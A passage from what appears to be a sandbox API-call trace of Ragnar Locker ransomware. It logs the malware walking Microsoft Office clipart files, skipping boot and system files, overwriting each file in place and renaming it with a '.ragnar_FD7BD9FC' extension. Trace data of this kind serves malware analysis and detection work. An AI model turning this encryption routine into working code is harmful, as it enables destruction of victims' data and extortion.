lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.700] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.700] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.700] GetProcessHeap () returned 0x580000 [0083.700] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.700] CloseHandle (hObject=0xf4) returned 1 [0083.700] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" [0083.700] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.ragnar_FD7BD9FC" [0083.700] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105328.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105328.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.701] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x290c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105332.WMF", cAlternateFileName="")) returned 1 [0083.701] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.701] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105332.WMF" | out: lpString1="J0105332.WMF") returned="J0105332.WMF" [0083.701] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned=".WMF" [0083.701] lstrcmpiW (lpString1="J0105332.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.701] lstrcmpiW (lpString1="J0105332.WMF", lpString2="autorun.inf") returned 1 [0083.701] lstrcmpiW (lpString1="J0105332.WMF", lpString2="boot.ini") returned 1 [0083.701] lstrcmpiW (lpString1="J0105332.WMF", lpString2="bootfont.bin") returned 1 [0083.701] lstrcmpiW (lpString1="J0105332.WMF", lpString2="bootsect.bak") returned 1 [0083.701] lstrcmpiW (lpString1="J0105332.WMF", lpString2="bootmgr") returned 1 [0083.701] lstrcmpiW (lpString1="J0105332.WMF", lpString2="bootmgr.efi") returned 1 [0083.701] lstrcmpiW (lpString1="J0105332.WMF", lpString2="bootmgfw.efi") returned 1 [0083.701] lstrcmpiW (lpString1="J0105332.WMF", lpString2="desktop.ini") returned 1 [0083.701] lstrcmpiW (lpString1="J0105332.WMF", lpString2="iconcache.db") returned 1 [0083.701] lstrcmpiW (lpString1="J0105332.WMF", lpString2="ntldr") returned -1 [0083.701] lstrcmpiW (lpString1="J0105332.WMF", lpString2="ntuser.dat") returned -1 [0083.701] lstrcmpiW (lpString1="J0105332.WMF", lpString2="ntuser.dat.log") returned -1 [0083.701] lstrcmpiW (lpString1="J0105332.WMF", lpString2="ntuser.ini") returned -1 [0083.701] lstrcmpiW (lpString1="J0105332.WMF", lpString2="thumbs.db") returned -1 [0083.701] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.701] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.701] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.701] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.701] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.702] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.702] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf")) returned 0x20 [0083.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.702] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10508) returned 1 [0083.702] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2903, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.702] GetProcessHeap () returned 0x580000 [0083.702] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.702] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.704] VirtualAlloc (lpAddress=0x0, dwSize=0x290c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.704] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.704] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.704] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x290c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x290c, lpOverlapped=0x0) returned 1 [0083.705] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.705] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x290c, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.705] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x290c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x290c, lpOverlapped=0x0) returned 1 [0083.705] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x290c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.705] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.705] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x290c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.705] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.706] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.706] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.706] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.706] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.706] GetProcessHeap () returned 0x580000 [0083.706] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.706] CloseHandle (hObject=0xf4) returned 1 [0083.706] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" [0083.706] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.ragnar_FD7BD9FC" [0083.706] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105332.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105332.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.707] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56347c90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105336.WMF", cAlternateFileName="")) returned 1 [0083.707] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.707] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105336.WMF" | out: lpString1="J0105336.WMF") returned="J0105336.WMF" [0083.707] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned=".WMF" [0083.707] lstrcmpiW (lpString1="J0105336.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.707] lstrcmpiW (lpString1="J0105336.WMF", lpString2="autorun.inf") returned 1 [0083.707] lstrcmpiW (lpString1="J0105336.WMF", lpString2="boot.ini") returned 1 [0083.707] lstrcmpiW (lpString1="J0105336.WMF", lpString2="bootfont.bin") returned 1 [0083.707] lstrcmpiW (lpString1="J0105336.WMF", lpString2="bootsect.bak") returned 1 [0083.707] lstrcmpiW (lpString1="J0105336.WMF", lpString2="bootmgr") returned 1 [0083.707] lstrcmpiW (lpString1="J0105336.WMF", lpString2="bootmgr.efi") returned 1 [0083.707] lstrcmpiW (lpString1="J0105336.WMF", lpString2="bootmgfw.efi") returned 1 [0083.707] lstrcmpiW (lpString1="J0105336.WMF", lpString2="desktop.ini") returned 1 [0083.707] lstrcmpiW (lpString1="J0105336.WMF", lpString2="iconcache.db") returned 1 [0083.707] lstrcmpiW (lpString1="J0105336.WMF", lpString2="ntldr") returned -1 [0083.707] lstrcmpiW (lpString1="J0105336.WMF", lpString2="ntuser.dat") returned -1 [0083.707] lstrcmpiW (lpString1="J0105336.WMF", lpString2="ntuser.dat.log") returned -1 [0083.707] lstrcmpiW (lpString1="J0105336.WMF", lpString2="ntuser.ini") returned -1 [0083.707] lstrcmpiW (lpString1="J0105336.WMF", lpString2="thumbs.db") returned -1 [0083.707] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.707] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.707] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.707] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.707] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.707] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.707] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf")) returned 0x20 [0083.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.708] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2900) returned 1 [0083.708] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb4b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.708] GetProcessHeap () returned 0x580000 [0083.708] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.708] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.709] VirtualAlloc (lpAddress=0x0, dwSize=0xb54, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.709] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.709] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.709] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xb54, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xb54, lpOverlapped=0x0) returned 1 [0083.710] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.710] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb54, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.710] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xb54, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xb54, lpOverlapped=0x0) returned 1 [0083.710] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb54, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.710] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.710] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xb54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.710] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.710] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.710] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.710] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.710] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.710] GetProcessHeap () returned 0x580000 [0083.710] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.710] CloseHandle (hObject=0xf4) returned 1 [0083.711] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" [0083.711] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.ragnar_FD7BD9FC" [0083.711] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0083.711] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e68d90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2d40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0105338.WMF", cAlternateFileName="")) returned 1 [0083.711] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0083.711] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0105338.WMF" | out: lpString1="J0105338.WMF") returned="J0105338.WMF" [0083.711] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned=".WMF" [0083.711] lstrcmpiW (lpString1="J0105338.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0083.711] lstrcmpiW (lpString1="J0105338.WMF", lpString2="autorun.inf") returned 1 [0083.711] lstrcmpiW (lpString1="J0105338.WMF", lpString2="boot.ini") returned 1 [0083.711] lstrcmpiW (lpString1="J0105338.WMF", lpString2="bootfont.bin") returned 1 [0083.711] lstrcmpiW (lpString1="J0105338.WMF", lpString2="bootsect.bak") returned 1 [0083.711] lstrcmpiW (lpString1="J0105338.WMF", lpString2="bootmgr") returned 1 [0083.711] lstrcmpiW (lpString1="J0105338.WMF", lpString2="bootmgr.efi") returned 1 [0083.712] lstrcmpiW (lpString1="J0105338.WMF", lpString2="bootmgfw.efi") returned 1 [0083.712] lstrcmpiW (lpString1="J0105338.WMF", lpString2="desktop.ini") returned 1 [0083.712] lstrcmpiW (lpString1="J0105338.WMF", lpString2="iconcache.db") returned 1 [0083.712] lstrcmpiW (lpString1="J0105338.WMF", lpString2="ntldr") returned -1 [0083.712] lstrcmpiW (lpString1="J0105338.WMF", lpString2="ntuser.dat") returned -1 [0083.712] lstrcmpiW (lpString1="J0105338.WMF", lpString2="ntuser.dat.log") returned -1 [0083.712] lstrcmpiW (lpString1="J0105338.WMF", lpString2="ntuser.ini") returned -1 [0083.712] lstrcmpiW (lpString1="J0105338.WMF", lpString2="thumbs.db") returned -1 [0083.712] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0083.712] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0083.712] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0083.712] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0083.712] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0083.712] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0083.712] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0083.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf")) returned 0x20 [0083.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0083.712] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=11584) returned 1 [0083.712] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2d37, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.712] GetProcessHeap () returned 0x580000 [0083.712] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0083.713] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0083.716] VirtualAlloc (lpAddress=0x0, dwSize=0x2d40, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0083.716] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.716] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0083.717] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2d40, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2d40, lpOverlapped=0x0) returned 1 [0083.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0083.718] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2d40, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.718] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2d40, lpOverlapped=0x0) returned 1 [0083.718] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2d40, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.718] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0083.718] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2d40, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0083.718] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0083.718] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.718] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0083.718] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0083.718] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0083.719] GetProcessHeap () returned 0x580000 [0083.719] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0083.719] CloseHandle (hObject=0xf4) returned 1 [0083.719] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105338.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft 